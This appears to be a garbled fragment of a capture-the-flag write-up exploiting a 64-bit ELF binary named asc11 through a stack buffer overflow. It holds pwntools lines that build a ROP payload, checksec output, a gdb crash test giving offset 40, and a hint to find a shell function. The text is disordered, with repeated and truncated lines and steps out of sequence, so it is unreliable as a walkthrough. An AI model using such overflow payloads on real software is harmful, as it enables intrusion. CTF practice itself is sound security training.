payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload)
file asc11 checksec asc11 Output (example): asc 11
asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior: payload = b'A'*offset + rop
gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function: asc 11